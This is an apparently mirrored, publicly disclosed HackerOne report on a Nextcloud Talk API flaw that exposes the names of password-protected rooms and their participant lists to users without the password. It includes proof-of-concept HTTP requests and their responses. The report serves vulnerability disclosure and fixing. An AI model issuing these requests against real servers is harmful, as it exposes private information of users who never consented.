HexBrain

Nextcloud · Report #428010

Talk / spreed: Disclosure of Room names and participants for password protected rooms

Validstatus
mediumseverity
$50bounty
13upvotes
17 Apr 2019disclosed

How it was found

CVSS

5.3 Medium CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (CVSS isn't always as fine-grained as I'd like; personally, I would rate the issue somewhere between low and medium)

Description

The API of the official spreed/talk extension reveals potentially sensitive information such as room names or participants of password-protected rooms to users without the password.

An account is not required to access room names.

POC: Shared, password protected room leaks room name to unauthenticated attackers

Prerequisite: Create a room, click on "Share link", and enable password protection.

As unauthenticated user, visit the login page to get cookies and a CSRF token.

The unauthenticated user cannot access nextcloud/nextcloud/ocs/v2.php/apps/spreed/api/v1/room or nextcloud/nextcloud/ocs/v2.php/apps/spreed/api/v1/room/iu86mvxv/participant ("Current user is not logged in"). However, they can access specific rooms based on the room id:

GET /nextcloud/nextcloud/ocs/v2.php/apps/spreed/api/v1/room/bk9we2vg HTTP/1.1
Host: 192.168.0.103
[...]
requesttoken: [...]
[...]
Cookie: [...]
Connection: close

HTTP/1.1 200 OK
{"ocs":{"meta":{"status":"ok","statuscode":200,"message":"OK"},"data":{"id":13,"token":"bk9we2vg","type":3,"name":"supersecret","displayName":"supersecret","objectType":"","objectId":"","participantType":4,"participantInCall":0,"participantFlags":0,"count":1,"hasPassword":true,"hasCall":false,"lastActivity":1540389616,"unreadMessages":0,"unreadMention":false,"isFavorite":false,"lastPing":0,"sessionId":"0","participants":[],"numGuests":0,"guestList":"","lastMessage":[]}}}

Despite being password protected, the room leaked the room name - which might contain sensitive information - to unauthenticated attackers.

POC: Shared, password protected room leaks participans to authenticated attackers

Prerequisite: Create a room, click on "Share link", and enable password protection.

As an authenticated user, issue the following request:

GET /nextcloud/nextcloud/ocs/v2.php/apps/spreed/api/v1/room/bk9we2vg/participants HTTP/1.1
Host: 192.168.0.103
[...]
requesttoken: [...]
[...]
Cookie: [...]
Connection: close

HTTP/1.1 200 OK
{"ocs":{"meta":{"status":"ok","statuscode":200,"message":"OK"},"data":[{"inCall":0,"lastPing":1540389861,"sessionId":"hnHuuwybsX6r65fbWFpwqvjZ+R15kumbONTr+ynIO5yu6TpDdPzDXov6+l3H2PkKX7X9FIC4BqAHBoZ\/Ath\/Fqjg9ljuj7smGUyf\/1Z8B\/yw9kotgZd4rM00OOaB2s+8Lph5zizgp7PoHiCvKTw2azAFIWBhLSe9fXQ9sdxzSMYSLAoYCaObU394OQO3ITJVjDQZQ1VOUSx+7dDPI1ycIZVTR\/tOSXg7tfHCigOvetJkRxURCD3V80rdRR2n9IK","participantType":1,"userId":"admin","displayName":"admin"}]}}

Despite being password protected, the room leaked the participant list to an authenticated attacker. From what I can tell, sessionId should not leak either, but isn't useful for an attacker.

Solution

The information should only be displayed to users that have authenticated themselves with the correct password for the room.

Impact

Disclosure of Room names and participants for password protected rooms to unauthenticated or authenticated users without password.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original